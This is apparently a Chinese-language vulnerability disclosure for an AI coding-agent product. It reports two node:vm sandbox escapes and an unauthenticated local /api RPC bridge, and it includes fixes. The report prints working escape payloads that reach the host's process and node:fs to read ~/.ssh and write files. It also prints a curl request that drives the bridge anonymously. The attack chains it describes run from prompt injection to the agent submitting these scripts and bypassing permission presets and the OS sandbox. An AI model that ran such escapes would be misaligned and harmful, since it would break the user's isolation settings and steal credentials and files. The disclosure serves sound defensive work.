高危问题：vm 沙箱逃逸 ×2 + 本地 /api RPC 无鉴权

[prnake]

摘要

内部文档明确记载 node:vm 不是安全边界，但其外围的产品界面（权限预设、沙箱提供者、工具描述）却向用户承诺了 vm 根本无法提供的隔离能力。

编号	漏洞	位置	CVSS	利用前提
DSH-01	Workflow 脚本逃逸 node:vm，绕过会话沙箱/权限预设，无沙箱执行宿主机代码	packages/workflow/workflow-worker-thread/src/runtime.ts:90-113	8.8 AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H	模型一轮被提示词注入/恶意利用
DSH-02	模型编写的动态插件宿主代码经宿主域闭包逃逸 vm，且完全无审批门	packages/extensions/cordis-host-runner/src/sandbox.ts:129-145、src/index.ts:270-275	8.8 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H	用户让代理阅读攻击者控制的仓库/网页内容
DSH-03	/api RPC 桥仅有 Host 头围栏、无任何令牌 → 任何本地进程可匿名驱动带 shell 能力的会话	packages/client/connection/src/api-request-trust.ts:96-123	7.4（多主体主机上 AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H）	多用户/共享主机上的另一个本地账户或恶意软件

三个漏洞均附零依赖、非破坏性的可运行 PoC（只读写自建金丝雀文件，不触碰真实凭据）。

---

漏洞一（DSH-01，CVSS 8.8）：Workflow 脚本逃逸 node:vm

位置

• packages/workflow/workflow-worker-thread/src/runtime.ts:90-113（逃逸点）
• packages/workflow/workflow-worker-thread/src/host.ts:148-149（worker 裸派生，无沙箱包裹）
• packages/workflow/tool-workflow/src/index.ts:150, 217-334（无审批门 + 误导性工具描述）

机理

面向模型的 workflow 工具把模型编写的脚本体交给 worker 线程，后者用 new vm.Script(...) 编译并在 vm.createContext({}) 中运行。上下文中仅有的全局量 agent、parallel、pipeline、phase、log 都是 worker 域的宿主函数，仅经 Object.freeze（runtime.ts:112）。冻结并不能隐藏 .constructor，因此在"沙箱"内部：

const F = agent.constructor.constructor          // worker 线程真正的 Function
const proc = F('return process')()               // 真实的 process 对象
const fs = await F('return import("node:fs")')() // 完整的 Node 模块访问

该 worker 以 new Worker(entry, options) 裸派生（host.ts:148-149），没有经过 dsh-sandbox-local（bwrap/Landlock/Seatbelt）包裹，仅清洗了环境变量。同时 workflow 工具不在任何审批瀑布之下，其工具描述还向模型声称"不提供文件系统、网络、定时器或 Node.js API"（index.ts:150）。

PoC

security-audit/poc-0/escape-demo.mjs（逐字复刻 runtime.ts 的引擎机制，非破坏性）：

node security-audit/poc-0/escape-demo.mjs

核心载荷（即被注入的模型会提交给 workflow 工具的脚本体）：

phase('Summarizing open questions')              // 伪装成正常 workflow
const F = agent.constructor.constructor          // 宿主域 Function（freeze ≠ 隐藏）
const proc = F('return process')()               // 真实 process
const fs = await F('return import("node:fs")')() // 完整 Node 模块
const secret = fs.readFileSync('/home/user/.ssh/…')   // 任意宿主文件读取
fs.writeFileSync('/home/user/.marker', 'ESCAPED')     // 工作区外任意写入

预期输出： PoC RESULT: ESCAPE CONFIRMED，并打印：

• 成功读取工作区外的金丝雀密钥文件（read-only/workspace-write 预设下本不可能）；
• 成功在工作区外写入标记文件；
• 真实 process 对象的 pid / uid / Node 版本。

危害

用户将 会话固定在 read-only / workspace-write 等限制性预设下时，所有 shell/fs 工具调用（包括委派子代理）都被 OS 级限制在工作区内；而 workflow 工具是唯一旁路：

• 完全绕过权限预设与 OS 级沙箱（S:C —— 被打破的正是产品承诺的隔离边界）；
• 可读取 ~/.ssh、~/.claude 凭据、.env、其他 会话数据；可写用户可写的任意路径；拥有不受限的网络访问；
• 窃取的数据作为 workflow 运行结果直接回流进模型上下文，形成数据外泄闭环；
• CVSS 8.8：机密性 / 完整性 / 可用性全高。

保留意见（如实说明）： .agents/notes/implemented/feature/2026-07-05-dynamic-workflows.md 已记录"脚本可以逃逸到具有进程级权限的 Node API"并推迟沙箱化；但已发布的基础 bundle（packages/bundle/base/cordis.patch.yml）把该引擎与承诺 OS 级隔离的沙箱提供者、权限预设打包在同一 profile 中，因此这构成现实的产品边界突破，而非纯理论问题。

修复建议

1. 让 workflow worker 走与 shell 相同的沙箱运行器（dsh-sandbox-local 包裹或专用受限 worker 入口）；
2. 或将 workflow 工具置于审批瀑布之下；
3. 从 vm 上下文中剥离宿主函数，只传结构化克隆安全的数据桥 —— 但单独加固 vm 不充分，不能作为唯一防线。

---

漏洞二（DSH-02，CVSS 8.8）：动态插件宿主代码逃逸 vm，且零审批

位置

• packages/extensions/cordis-host-runner/src/sandbox.ts:129-145（逃逸点）
• packages/extensions/cordis-host-runner/src/index.ts:270-275（审批门缺失）
• packages/extensions/tool-cordis/src/index.ts:148-238（面向模型的 cordis_define，仅做编译级预检）

机理

createSandbox 把 btoa/atob 作为宿主域箭头函数（基于宿主 Buffer 的闭包，sandbox.ts:137-138）注入，同时注入宿主域的 TextEncoder/TextDecoder/console。require/fetch/定时器都是抛异常的陷阱、process 被隐藏 —— 但逃逸根本不碰这些被陷阱化的名字：

const hostFunction = btoa.constructor                       // 宿主域的 Function
const fs = hostFunction('return process.getBuiltinModule("node:fs")')()

该模块自己的文件头即承认："is not containment: host-realm helper functions remain an escape route"（sandbox.ts:7）。

审批缺口： 当 definition.clientCode === undefined（"仅宿主"包）时，DynamicCordisRunnerService.run()（index.ts:270-275）立即激活该包；唯一的审批机制（index.ts:277-303，发出 cordis/request-run 供用户面板确认）仅在存在 client 半边时才武装。也就是说，更危险的形态（仅宿主）反而审批更少。

PoC

security-audit/poc-1/poc-vm-escape.mjs（独立运行，逐字复刻 createSandbox/evaluateHostCode）：

node security-audit/poc-1/poc-vm-escape.mjs

另附针对真实服务的 vitest 测试 poc-1/runner-no-approval-escape.poc.spec.ts：

cp security-audit/poc-1/runner-no-approval-escape.poc.spec.ts packages/extensions/cordis-host-runner/tests/
cd packages/extensions/cordis-host-runner && pnpm vitest run runner-no-approval-escape
# 断言：run() 返回 ok，且 cordis/request-run 审批事件从未发出

核心载荷（即被注入的模型会作为 cordis_define 的 code.host 参数提交的字符串）：

try { require('node:fs') } catch { … }        // 对照组：require 确实被陷阱拦截
const hostFunction = btoa.constructor          // 宿主域闭包 → 宿主 Function
const hostProcess = hostFunction('return process')()
const fs = await hostFunction('specifier', 'return import(specifier)')('node:fs')
const canary = fs.readFileSync('…/secret-canary.txt', 'utf8')   // 绕过 ctx.fs + OS 沙箱
console.log('[MARKER] PWNED', hostProcess.getuid(), hostProcess.pid)

预期输出：

[in-sandbox] require() correctly trapped        ← 被陷阱化的名字确实隔离成立
[in-sandbox] fetch() correctly trapped
[ESCAPED] host fs read bypassed ctx.fs + OS sandbox: "…"
[ESCAPED] process.env visible: N vars; DEEPSEEK_API_KEY present: true
[ESCAPED] running as uid 0 on host … - pid …
[MARKER] PWNED: arbitrary host code executed with dsh-process privileges, no user approval

危害

攻击链完全由网络侧发起（AV:N）：攻击者控制的仓库 README / 网页内容 → 提示词注入 → 模型调用 cordis_define（仅宿主）+ cordis_run → 载荷以 dsh 进程完整权限运行，零用户交互：

• 原生 node:fs / node:child_process 全量访问；
• process.env（含 DEEPSEEK_API_KEY）直接可读；
• 任意网络访问；
• 同时绕过 OS 级沙箱（packages/sandbox/sandbox-local）与约束其他所有工具的 ctx.fs/ctx.web 能力策略。

tool-cordis 已装配在可运行的发布组合中：examples/web-cordis/cordis.yml:18、examples/headless-agent/advanced.cordis.yml:33，可达性为现实而非假设。

修复建议

1. 对"仅宿主"包同样武装审批门（仅宿主比 client+host 更危险，不应反而不需要审批）；
2. 从沙箱中移除宿主域闭包 —— 在 vm 域内实现 btoa/atob；
3. 让动态宿主代码走与 shell 执行相同的沙箱运行器。

---

漏洞三（DSH-03，CVSS 7.4）：/api RPC 桥无鉴权

位置

• packages/client/connection/src/api-request-trust.ts:96-123（围栏）
• packages/client/connection/src/index.ts:161-172（路由挂载）
• packages/host/apiproxy/src/api/rpc-map.ts（可达方法面）

机理

/api 路由唯一的门是 isTrustedApiRequest：Host 头检查（回环地址即通过）加浏览器标记检查。关键在 api-request-trust.ts:117：

if (origin === undefined) return true

非浏览器本地进程根本不发送 Origin/Sec-Fetch-* 头，因此只要 Host: 127.0.0.1:<端口> 就无条件通过。整条通道上没有任何令牌、nonce 或 UID 校验。围栏自己的文档（api-request-trust.ts:12-13）也写着 "this fence is not an auth layer"。

可达面（无需任何凭据）

• host.listDirectory / host.createDirectory —— 以 dsh 用户身份任意枚举宿主机文件系统、创建目录；
• session.create（api-proxy.ts:2167）接受攻击者选定的 cwd，ensureSession 甚至会 mkdir(cwd, { recursive: true })（api-proxy.ts:1665）；
• session.prompt（api-proxy.ts:2461）→ agent.followup 在默认 standard 预设（apps/cli/config/agent-presets/standard/agent.cordis.yml:44-60）下驱动回合，该预设装配了 tool-bash、tool-pwsh、tool-fs —— 匿名执行 shell 并消耗受害者的 DEEPSEEK_API_KEY；
• 被钉在回环上的"特权"方法（settings.*、credentials.* 等）同样可达 —— 攻击者本来就在回环上。

PoC

security-audit/poc-2/poc-fence.mjs（零依赖，围栏决策逻辑逐字取自 api-request-trust.ts / loopback-hostname.ts）：

node security-audit/poc-2/poc-fence.mjs

攻击请求本质就是：

curl -s http://127.0.0.1:<PORT>/api/host.listDirectory \
  -H 'content-type: application/json' \
  -d '{"type":"client-request","rpcId":"1","method":"host.listDirectory","payload":{"path":"/home/victim"}}'
# 没有任何 Authorization 头 —— 不存在可提供的令牌

预期输出（全部 PASS）：

[+] PASS control: Host attacker.example is refused         ← 对照组：围栏对恶意 Host 生效
[+] PASS control: mismatched Origin is refused
[+] PASS anonymous non-browser request (loopback Host, absent Origin) passes the real fence unconditionally
[+] PASS anonymous caller lists an arbitrary host directory through the gate
[+] PASS anonymous caller creates a directory on the host through the gate
[+] PASS anonymous session.create triggers recursive mkdir of attacker-chosen cwd
RESULT: real fence logic accepts the anonymous local process; no token, nonce, or auth exists on the channel

（另有对真实 dsh --profile web 的端到端 PoC poc-2/poc.mjs，刻意不调用 session.prompt 以避免消耗真实 API key。）

危害

终端服务器 / 共享开发机上，任何其他本地账户或无特权恶意软件都能到达 127.0.0.1:PORT（dsh --profile web 绑定回环；startup.ts:69-71 已拒绝 --host 0.0.0.0，说明威胁模型本应包含本地主体）：

• 以受害者身份匿名执行任意 shell（session.prompt + standard 预设的 tool-bash/tool-pwsh）；
• 任意枚举 / 创建宿主机目录，窃取受害者 DEEPSEEK_API_KEY 并消耗其额度；
• 触达 settings.*、credentials.* 等特权方法。

单用户主机上权限差会塌缩（这正是代码注释将其视为已接受边界的原因），但多主体主机场景下为真实且完整的本地权限提升 + 数据窃取通道。

修复建议

1. 绑定时生成逐请求 bearer 令牌，仅暴露给合法客户端（如写入门票文件 / 通过启动握手传递）；
2. 在 /api 路由进入 bridge() 之前校验该令牌；
3. 在修复落地前，将该面在文档中明确标注为仅限单主体主机。

POC

poc.zip

Contribution

Found by glm